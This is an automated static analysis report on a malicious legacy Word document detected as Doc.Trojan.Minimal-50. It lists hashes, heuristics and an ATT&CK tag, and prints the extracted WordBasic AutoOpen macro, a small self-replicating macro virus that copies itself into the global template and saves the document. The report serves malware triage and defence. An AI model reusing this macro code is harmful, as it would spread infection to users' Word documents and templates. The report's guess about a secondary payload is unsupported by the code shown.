Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4176a5e4f410208f…

MALICIOUS

Office (OLE)

26.5 KB Created: 1999-05-02 15:53:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 7140e7c02a0202053a96e5f7660b84a7 SHA-1: 705196e281a180eff91b7b7f9a13ac837ca855e1 SHA-256: 4176a5e4f410208f5d77c1e94f89e53d24e357efaee65113b22992dc5dfbaa79
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a legacy Word document containing a WordBasic AutoOpen macro. This macro is designed to copy itself to the global template and then save the document, which are common precursor steps for malware execution. The presence of the AutoOpen macro and the legacy nature of the document strongly suggest malicious intent, likely to download or execute a secondary payload.

Heuristics 4

  • ClamAV: Doc.Trojan.Minimal-50 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Minimal-50
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 737 bytes
SHA-256: a956bfb90d99bc8fd81ed1f5273dc70f12f17d77c44a4b0b3d428535aa47a790
Detection
ClamAV: Doc.Trojan.Minimal-50
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutOOpen"
Public Sub MAIN()
Dim A$
Dim Z$
On Error Resume Next
A$ = "Global:AutoOpen"
Z$ = WordBasic.[FileName$]() + ":AutoOpen"
If A$ = Z$ Then WordBasic.Beep Else WordBasic.MacroCopy "Global:AutoOpen", WordBasic.[FileName$]() + ":AutoOpen", 1
If A$ = Z$ Then WordBasic.Beep Else WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoOpen", "Global:AutoOpen", 1
If A$ = Z$ Then WordBasic.Beep Else WordBasic.FileSaveAs Format:=1
End Sub